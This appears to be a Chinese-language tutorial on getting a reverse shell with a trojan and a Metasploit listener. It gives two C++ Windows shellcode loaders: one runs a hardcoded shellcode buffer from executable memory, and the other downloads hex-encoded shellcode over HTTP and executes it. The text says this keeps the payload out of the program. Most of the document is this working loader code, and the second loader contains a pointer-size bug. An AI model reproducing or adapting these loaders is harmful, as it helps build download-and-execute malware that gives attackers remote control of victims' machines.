下载shellcode

shellcode地址: https://github.com/clinicallyinane/shellcode_launcher/

反弹shell

设置msfconsole监听

监听

监听

`记住payload要设置对,反正反弹的shell接收不了`

然后用shell执行我们生成的木马就可以反弹shell了

反弹shell

```
#include "stdafx.h"
#include "windows.h"

using namespace std;
int main(int argc, char **argv)
{
    unsigned char buf[] =
        "\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30"
        "\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff"
        "\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2\x52"
        "\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11\x78\xe3\x48\x01\xd1"
        "\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b"
        "\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03"
        "\x7d\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66\x8b"
        "\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24"
        "\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f\x5f\x5a\x8b\x12\xeb"
        "\x8d\x5d\x6a\x01\x8d\x85\xb2\x00\x00\x00\x50\x68\x31\x8b\x6f"
        "\x87\xff\xd5\xbb\xe0\x1d\x2a\x0a\x68\xa6\x95\xbd\x9d\xff\xd5"
        "\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a"
        "\x00\x53\xff\xd5\x63\x61\x6c\x63\x2e\x65\x78\x65\x00";
    void *exec = VirtualAlloc(0, sizeof buf, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    memcpy(exec, buf, sizeof buf);
    ((void(*)())exec)();
    return 0;
}
```

如果要把shellcode单独分离 我们可以通过其他当时获取到shellcode，而不是事先讲shellcode写死在程序中

举例：shellcode从文本提取或从远程下载获取。

这里就把shellcode通过http请求(使用winhttp api)获取赋值到内存缓存数组，动态分配内存执行shellcode:

```
#include "stdafx.h"
#include <string>
#include <iostream>
#include <windows.h>
#include <winhttp.h>
#pragma comment(lib,"winhttp.lib")
#pragma comment(lib,"user32.lib")
using namespace std;
void main()
{
    DWORD dwSize = 0;
    DWORD dwDownloaded = 0;
    LPSTR pszOutBuffer = NULL;
    HINTERNET  hSession = NULL,
        hConnect = NULL,
        hRequest = NULL;
    BOOL  bResults = FALSE;
    hSession = WinHttpOpen(L"User-Agent", WINHTTP_ACCESS_TYPE_DEFAULT_PROXY, WINHTTP_NO_PROXY_NAME, WINHTTP_NO_PROXY_BYPASS, 0);
    if (hSession)
    {
        hConnect = WinHttpConnect(hSession, L"127.0.0.1", INTERNET_DEFAULT_HTTP_PORT, 0);
    }

    if (hConnect)
    {
        hRequest = WinHttpOpenRequest(hConnect, L"POST", L"qing.txt", L"HTTP/1.1", WINHTTP_NO_REFERER, WINHTTP_DEFAULT_ACCEPT_TYPES, 0);
    }
    LPCWSTR header = L"Content-type: application/x-www-form-urlencoded/r/n";
    SIZE_T len = lstrlenW(header);
    WinHttpAddRequestHeaders(hRequest, header, DWORD(len), WINHTTP_ADDREQ_FLAG_ADD);
    if (hRequest)
    {
        std::string data = "name=host&sign=xx11sad";
        const void *ss = (const char *)data.c_str();
        bResults = WinHttpSendRequest(hRequest, 0, 0, const_cast<void *>(ss), data.length(), data.length(), 0);
        ////bResults=WinHttpSendRequest(hRequest,WINHTTP_NO_ADDITIONAL_HEADERS, 0,WINHTTP_NO_REQUEST_DATA, 0, 0, 0 );
    }
    if (bResults)
    {
        bResults = WinHttpReceiveResponse(hRequest, NULL);
    }
    if (bResults)
    {
        do
        {
            // Check for available data.
            dwSize = 0;
            if (!WinHttpQueryDataAvailable(hRequest, &dwSize))
            {
                printf("Error %u in WinHttpQueryDataAvailable.\n", GetLastError());

                break;
            }

            if (!dwSize)
                break;

            pszOutBuffer = new char[dwSize + 1];

            if (!pszOutBuffer)
            {
                printf("Out of memory\n");
                break;
            }

            ZeroMemory(pszOutBuffer, dwSize + 1);

            if (!WinHttpReadData(hRequest, (LPVOID)pszOutBuffer, dwSize, &dwDownloaded))
            {
                printf("Error %u in WinHttpReadData.\n", GetLastError());
            }
            else
            {
                printf("ok");
            }
            //char ShellCode[1024];
            int code_length = strlen(pszOutBuffer);
            char* ShellCode = (char*)calloc(code_length  /2 , sizeof(unsigned char));

            for (size_t count = 0; count < code_length / 2; count++){
                sscanf(pszOutBuffer, "%2hhx", &ShellCode[count]);
                pszOutBuffer += 2;
            }
            printf("%s", ShellCode);
            //strcpy(ShellCode,pszOutBuffer);
            void *exec = VirtualAlloc(0, sizeof ShellCode, MEM_COMMIT,
PAGE_EXECUTE_READWRITE);
            memcpy(exec, ShellCode, sizeof ShellCode);
            ((void(*)())exec)();
            delete[] pszOutBuffer;
            if (!dwDownloaded)
                break;
        } while (dwSize > 0);
    }
    if (hRequest) WinHttpCloseHandle(hRequest);
    if (hConnect) WinHttpCloseHandle(hConnect);
    if (hSession) WinHttpCloseHandle(hSession);
    system("pause");
}
```